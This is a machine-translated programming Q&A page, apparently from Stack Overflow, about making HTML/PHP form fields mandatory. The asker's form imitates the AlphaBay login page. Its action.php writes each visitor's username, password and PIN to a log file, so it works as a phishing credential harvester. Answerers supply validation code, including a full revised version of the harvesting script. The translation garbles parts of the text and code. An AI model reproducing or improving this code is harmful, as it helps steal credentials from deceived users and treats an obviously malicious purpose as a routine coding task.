我怎样才能强迫某人用 html + php 填充文件


How can i force someone to fill fileds in html + php

>基本上,我想阻止用户在不填写所有字段的情况下提交。

现在,在当前情况下,用户可以在不填写任何内容的情况下提交,这就是我试图阻止的,有人可以简单解释我是如何做到的吗?

我希望他填写一些字段:

<form name="formLogin" method="post" action="action.php">
    <div class="tclpad" style="width:90px;"><span class="std">Username:</span></div>
    <div class="tclpad"><input name="input1" class="std" size="65" type="text" required></div>
    <div class="clear">&nbsp;</div>
    <div class="tclpad" style="width:90px;"><span class="std">Password:</span></div>
    <div class="tclpad"><input name="input2" class="std" size="65" value="" type="password" required></div>
    <div class="clear">&nbsp;</div>
    <div class="tclpad" style="width:90px;"><span class="std">Six-digit pin:</span></div>
    <div class="tclpad"><input name="input3" class="std" size="10" value="" type="password" required></div>
    <div class="clear">&nbsp;</div>
    <div class="tclpad" style="width:90px;">&nbsp;</div><div class="tclpad"><img id="captcha" src="http://alphabaywyjrktqn.onion.to/ifl/lb/securimage86/securimage_ren.php" alt="Captcha Image"></div><div class="clear">&nbsp;</div>
    <div class="tclpad" style="width:90px;"><span class="std">Security code:</span></div><div class="tclpad"><input name="input5" class="std" size="65" type="text" required></div><div class="clear">&nbsp;</div>
    <div class="tclpad" style="width:90px;">&nbsp;</div>
    <div class="tclpad"><input class="bstd" value="Verify" type="submit"></div>
    <div class="clear">&nbsp;</div></form></div></div><div class="footer"><div class="navbar"><a class="navbar" href="index.htm"><img src="navhome.png" alt="Home" height="12" width="14"></a>

登录 

action.php是:

<?php
session_start();
if(isset($_POST['input1'])){
    $Username = $_POST['input1'];
}
if(isset($_POST['input2'])){
    $Password = $_POST['input2'];
}
if(isset($_POST['input3'])){
    $PIN = $_POST['input3'];
}
$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1'n";
fwrite($fh,"name: " . $Username . "'n" . " email: " . $Password . "'n" . " password: " . $PIN . "'n----------------------------'n");
fclose($fh);
But I want if one of the fields is empty the user can not continue....

您至少应该在服务器端检查所有"必填"字段是否正确填写。然后,你可能想要添加时髦的JavaScript检查,但这是为了用户体验问题,而不是效率。

下面的代码演示了如何使用全局变量检查表单错误$_SESSION将错误从逻辑代码传递到视图代码:

您的观点

<form name="formLogin" method="post" action="action.php">
    <!-- Your inputs ... -->
</form>
<?php if ( isset( $_SESSION['loginForm-error'] ) ): ?>
    <div class="label label-error">
        <?= $_SESSION['loginForm-error'] ?>
    </div>
<?php endif ?>

这是诀窍:我们将检查我们是否有表单错误。如果是,它将显示在此处(确保您拥有CSS(。否则,它根本不会显示。

行动.php

<?php
    session_start();
    unset($_SESSION['loginForm-error']); // We assume everybody is nice at the begining, right ? ;)
    $myRequiredFields = ['input1', 'input2', '...'];
    $allSets = true;
    # If one of the required fields is not sets or empty, 
    # we put '$allSets' to false
    foreach( $_POST as $post_key => $post_value ) {
        if( in_array($post_key, $muRequiredFields) && ( ! isset($_POST[$post_key]) || empty($_POST[$post_key]) ) ) {
            $allSets = false;
            break; // Stops the loop, no need to go further
        }
    }
    # If all required fields are filled
    if( $allSets ) {
        $Username = $_POST['input1'];
        $Password = $_POST['input2'];
        $PIN = $_POST['input3'];
        $fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
        $stringData = "New Stuff 1'n";
        fwrite($fh,"name: " . $Username . "'n" . " email: " . $Password . "'n" . " password: " . $PIN . "'n----------------------------'n");
        fclose($fh);
        // Redirect to another page than form, like home or success page ?
    }
    # If one of the required fields is missing, 
    # display a nice error message on session and redirect to the form
    else {
        $ERR_FORM_FIELD_MISSING = 'One of the field is missing or empty';
        $_SESSION['loginForm-error'] = $ERR_FORM_FIELD_MISSING;
        header('Location:myForm.php');
    }
?>

在这里,我首先取消设置所有错误,并假设表单已正确填写。然后,我将检查每个$requiredFields,如果其中一个没有填满。最后,我只有在表单填写良好的情况下才会启动脚本的主要部分。否则,我会在$_SESSION上添加错误,然后再次重定向到表单以显示此错误。

这很奇怪,因为您在输入中添加了 required 属性。在现代浏览器上,他无法提交表单。但请注意,用户可以修改 DOM 并删除 required 属性,以便他可以发送表单。一个好的做法是放置客户端验证和服务器端验证。

像这样的 php :

if(isset($_POST['input1']) AND isset($_POST['input2'])){
    if(!empty($_POST['input1']) AND !empty($_POST['input2'])){
        // treatment
    }
}
//else write message error

但是使用javascript(jquery(客户端进行验证对用户更好。

您可以测试输入字符串长度:

if (isset($_POST['input2'] && strlen($_POST['input2']) > 0)

对要测试的每个字段执行此操作。我还使用 trim(( 从 $_POST 中删除所有不需要的空格。

如果输入的字符串长度等于零,请再次打印表单,即:

if (all inputs size > 0) {
  do work
}
else {
  print form again and fill inputs with old values, ie:
    <input type="text" value="<?php echo htmlspecialchars($_POST['input1']); ?>" />
}

在PHP中,可以使用以下代码来完成。提交表单时,首先检查所有字段是否已填写,即使一个字段未填写,则填写所有字段的错误将是回显的。

<?php
if(isset($_POST['send'])) //if submit button clicks.
{
//checking all fields are fill.
if($_POST['input1']!="" && $_POST['input2']!="" && $_POST['input3']!="")
 {
  //do the working
 } 
else
 {
 echo "Data cannot be send.Fill out all the fields.";
 }
}
?>